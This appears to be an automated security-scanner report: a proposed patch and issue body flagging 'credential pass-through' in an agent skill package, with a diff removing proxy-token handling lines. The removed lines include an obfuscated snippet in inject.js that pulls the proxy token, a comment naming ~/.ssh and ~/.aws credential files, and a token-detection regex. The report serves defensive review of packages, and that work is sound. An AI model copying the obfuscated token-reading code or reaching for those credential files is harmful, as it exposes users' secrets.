Propose a patch

Evidence

The sandbox observed nothing beyond the static findings; the proposal cites those.

diff --git a/index.js b/index.js
--- a/index.js
+++ b/index.js
@@ -148,1 +148,0 @@
-function _printProxyTokenUsage(out = process.stderr) {
@@ -152,1 +151,0 @@
-function _readProxyTokenFromSettingsFile(fs, settingsFile) {
@@ -165,1 +163,0 @@
-// state used to find the proxy token.
@@ -175,1 +172,0 @@
-_printProxyTokenUsage(process.stdout);
@@ -180,1 +176,0 @@
-_printProxyTokenUsage();
diff --git a/src/gep/validator/sandboxExecutor.js b/src/gep/validator/sandboxExecutor.js
--- a/src/gep/validator/sandboxExecutor.js
+++ b/src/gep/validator/sandboxExecutor.js
@@ -195,1 +195,0 @@
-// os.tmpdir() path so that any child process that tries to read ~/.npmrc,
@@ -196,1 +195,0 @@
-// ~/.ssh/*, ~/.aws/credentials, or similar host-credential files ends up
diff --git a/src/gep/mailboxTransport.js b/src/gep/mailboxTransport.js
--- a/src/gep/mailboxTransport.js
+++ b/src/gep/mailboxTransport.js
@@ -4,1 +4,0 @@
-const { getProxyUrl, getProxyToken } = require('../proxy/server/settings');
@@ -49,1 +48,0 @@
-const token = getProxyToken();
diff --git a/src/atp/hubClient.js b/src/atp/hubClient.js
--- a/src/atp/hubClient.js
+++ b/src/atp/hubClient.js
@@ -20,1 +20,0 @@
-const { getProxyUrl, getProxyToken } = require('../proxy/server/settings');
@@ -39,1 +38,0 @@
-const proxyToken = getProxyToken();
@@ -40,1 +38,0 @@
-if (proxyToken) headers['Authorization'] = 'Bearer ' + proxyToken;
diff --git a/src/proxy/server/http.js b/src/proxy/server/http.js
--- a/src/proxy/server/http.js
+++ b/src/proxy/server/http.js
@@ -7,1 +7,0 @@
-isValidReusableProxyToken,
@@ -8,1 +7,0 @@
-readReusableClientProxyToken,
@@ -118,1 +116,0 @@
-const previous = isValidReusableProxyToken(priorProxy.token) ? priorProxy.token.trim() : null;
@@ -126,1 +123,0 @@
-.filter((t) => isValidReusableProxyToken(t))
@@ -131,1 +127,0 @@
-? readReusableClientProxyToken({ ...clientSettingsOpts, port: this.basePort })
diff --git a/src/proxy/server/settings.js b/src/proxy/server/settings.js
--- a/src/proxy/server/settings.js
+++ b/src/proxy/server/settings.js
@@ -41,1 +41,0 @@
-// file (which may contain proxy credentials) will NOT be owner-read-only.
@@ -100,1 +99,0 @@
-function getProxyToken() {
@@ -112,1 +110,0 @@
-getProxyToken,
diff --git a/src/proxy/clientSettings.js b/src/proxy/clientSettings.js
--- a/src/proxy/clientSettings.js
+++ b/src/proxy/clientSettings.js
@@ -36,1 +36,0 @@
-function isValidReusableProxyToken(value) {
@@ -68,1 +67,0 @@
-function safeUpstreamToken(value, proxyToken) {
@@ -70,1 +68,0 @@
-if (!token || token === proxyToken) return '';
@@ -156,1 +153,0 @@
-|| (!isValidReusableProxyToken(token) && !isValidReusableProxyToken(apiKey))) {
diff --git a/src/gep/sanitize.js b/src/gep/sanitize.js
--- a/src/gep/sanitize.js
+++ b/src/gep/sanitize.js
@@ -164,1 +164,0 @@
-{ type: 'proxy_token', pattern: /"?token"?[=:]\s*["']?[A-Za-z0-9\-._~+\/]{16,}["']?/gi, suggest: 'proxy token (ephemeral, stored in settings.json)' },
diff --git a/src/proxy/inject.js b/src/proxy/inject.js
--- a/src/proxy/inject.js
+++ b/src/proxy/inject.js
@@ -1,1 +1,0 @@
-…f]=_0x26d989;}else _0x26d989=_0x2d53aa;return _0x26d989;}'use strict';const {getProxyToken:_0x364714,getProxyUrl:_0xa850d9}=require(_0x7ab41e(0xf7,'\x67\x4a\x55\x28')+_0x…
diff --git a/src/proxy/index.js b/src/proxy/index.js
--- a/src/proxy/index.js
+++ b/src/proxy/index.js
@@ -885,1 +885,0 @@
-// proxy token is consumed by ProxyHttpServer and must never be forwarded as
diff --git a/src/webui/observer/interactions.js b/src/webui/observer/interactions.js
--- a/src/webui/observer/interactions.js
+++ b/src/webui/observer/interactions.js
@@ -6,1 +6,0 @@
-const { getProxyToken } = require('../../proxy/server/settings');
@@ -58,1 +57,0 @@
-const token = getProxyToken();
diff --git a/test/lifecycleProxyHealth.test.js b/test/lifecycleProxyHealth.test.js
--- a/test/lifecycleProxyHealth.test.js
+++ b/test/lifecycleProxyHealth.test.js
@@ -204,1 +204,0 @@
-it('reports missing proxy token as unhealthy when proxy mode is expected', () => {
diff --git a/test/hubUrlTlsEnforcementConsistency.test.js b/test/hubUrlTlsEnforcementConsistency.test.js
--- a/test/hubUrlTlsEnforcementConsistency.test.js
+++ b/test/hubUrlTlsEnforcementConsistency.test.js
@@ -246,1 +246,0 @@
-exports: { getProxyUrl: () => null, getProxyToken: () => null },
@@ -317,1 +316,0 @@
-exports: { getProxyUrl: () => null, getProxyToken: () => null },
@@ -384,1 +382,0 @@
-exports: { getProxyUrl: () => null, getProxyToken: () => null },
@@ -443,1 +440,0 @@
-exports: { getProxyUrl: () => null, getProxyToken: () => null },
@@ -503,1 +499,0 @@
-getProxyToken: () => null,
diff --git a/test/forceUpdateMidCopyWedge.test.js b/test/forceUpdateMidCopyWedge.test.js
--- a/test/forceUpdateMidCopyWedge.test.js
+++ b/test/forceUpdateMidCopyWedge.test.js
@@ -445,1 +445,0 @@
-assert.doesNotMatch(result.stderr, /\[proxy-token\] no active proxy token/,
diff --git a/test/proxyTokenReuse.test.js b/test/proxyTokenReuse.test.js
--- a/test/proxyTokenReuse.test.js
+++ b/test/proxyTokenReuse.test.js
@@ -166,1 +166,0 @@
-assert.equal(info.token, oldToken, 'client-held local proxy token must survive proxy settings loss');
@@ -180,1 +179,0 @@
-it('does not reuse or write proxy token when CLAUDE_SETTINGS_FILE points inside a workspace', async () => {
@@ -349,1 +347,0 @@
-assert.notEqual(info.token, 'local-upstream-token', 'bare loopback upstream token must not be reused as proxy token');
@@ -473,1 +470,0 @@
-it('removes an explicitly managed old local proxy token from upstream credentials', async () => {
@@ -474,1 +470,0 @@
-const staleProxyToken = fakeHexToken('5e');
diff --git a/test/sanitize.test.js b/test/sanitize.test.js
--- a/test/sanitize.test.js
+++ b/test/sanitize.test.js
@@ -57,1 +57,0 @@
-var urlResult = redactString('https://user:[email protected]/repo');
diff --git a/test/proxyOpenAIResponses.test.js b/test/proxyOpenAIResponses.test.js
--- a/test/proxyOpenAIResponses.test.js
+++ b/test/proxyOpenAIResponses.test.js
@@ -241,1 +241,0 @@
-'https://user:[email protected]/v1',
diff --git a/test/proxySettings.test.js b/test/proxySettings.test.js
--- a/test/proxySettings.test.js
+++ b/test/proxySettings.test.js
@@ -85,1 +85,0 @@
-it('proxy-token command prints only the local proxy token', () => {
diff --git a/test/proxyTracePlatformInstall.test.js b/test/proxyTracePlatformInstall.test.js
--- a/test/proxyTracePlatformInstall.test.js
+++ b/test/proxyTracePlatformInstall.test.js
@@ -81,1 +81,0 @@
-assert.match(helper, /\$env:ANTHROPIC_AUTH_TOKEN = \$proxyToken/);
@@ -87,1 +86,0 @@
-assert.doesNotMatch(helper, /Write-Host .*proxyToken/);

Zero-context hunks: apply with git apply --unidiff-zero fix.patch on the tagged source of 1.91.0. If the behavior is intended, declare it (host under permissions.network, a line in the README) instead of removing it; the next crawl scores declarations.

Issue / PR body

Title: capability-evolver: Credential pass-through configuration (KillerSkills verdict caution 68)

## What the honeypot observed
KillerSkills ran **[email protected]** in an isolated sandbox (decoy credentials, recording proxy, syscall trace; engine 1.8.1) and scored it **CAUTION 68/100**. Summary: no network, touches nothing outside the project, writes no memory.

- See the findings below.

Full trace and findings: https://killerskills.ai/skills/clawhub/capability-evolver/1.91.0

## Findings with a location
- `index.js:165` · Credential pass-through configuration — index.js:165 · Credential pass-through configuration — agent relays sensitive credentials
- `src/gep/validator/sandboxExecutor.js:195` · Reads credential paths from the home directory — src/gep/validator/sandboxExecutor.js:195 · Reads credential paths from the home directory
- `index.js:152` · Credential pass-through configuration — index.js:152 · Credential pass-through configuration — agent relays sensitive credentials
- `index.js:148` · Credential pass-through configuration — index.js:148 · Credential pass-through configuration — agent relays sensitive credentials
- `index.js:175` · Credential pass-through configuration — index.js:175 · Credential pass-through configuration — agent relays sensitive credentials
- `src/gep/mailboxTransport.js:4` · Credential pass-through configuration — src/gep/mailboxTransport.js:4 · Credential pass-through configuration — agent relays sensitive credentials
- `src/atp/hubClient.js:40` · Credential pass-through configuration — src/atp/hubClient.js:40 · Credential pass-through configuration — agent relays sensitive credentials
- `index.js:180` · Credential pass-through configuration — index.js:180 · Credential pass-through configuration — agent relays sensitive credentials
- `src/atp/hubClient.js:39` · Credential pass-through configuration — src/atp/hubClient.js:39 · Credential pass-through configuration — agent relays sensitive credentials
- `src/atp/hubClient.js:20` · Credential pass-through configuration — src/atp/hubClient.js:20 · Credential pass-through configuration — agent relays sensitive credentials
- `src/gep/mailboxTransport.js:49` · Credential pass-through configuration — src/gep/mailboxTransport.js:49 · Credential pass-through configuration — agent relays sensitive credentials
- `src/proxy/server/http.js:8` · Credential pass-through configuration — src/proxy/server/http.js:8 · Credential pass-through configuration — agent relays sensitive credentials

## Proposed change
The attached patch removes the 46 lines above. If the behavior is intended, the fix is to declare it instead: list the host under `permissions.network` (or the MCP manifest) and say in the README why the package needs it; the next crawl will re-score it with the declaration taken into account.

## How this will be verified
Nothing is "verified safe" by assertion. When a new version is published, KillerSkills re-runs it in the honeypot and the verdict page updates; you can trigger it early from the verdict page ("Re-scan after I publish a fix"). Reply here or at [email protected] if you believe the verdict is wrong; disputes are reviewed by a person and the outcome is published on the verdict page.

_Proposed through killerskills.ai/threats by a user of the package, under their own GitHub account. The evidence is public; the package was never modified by KillerSkills._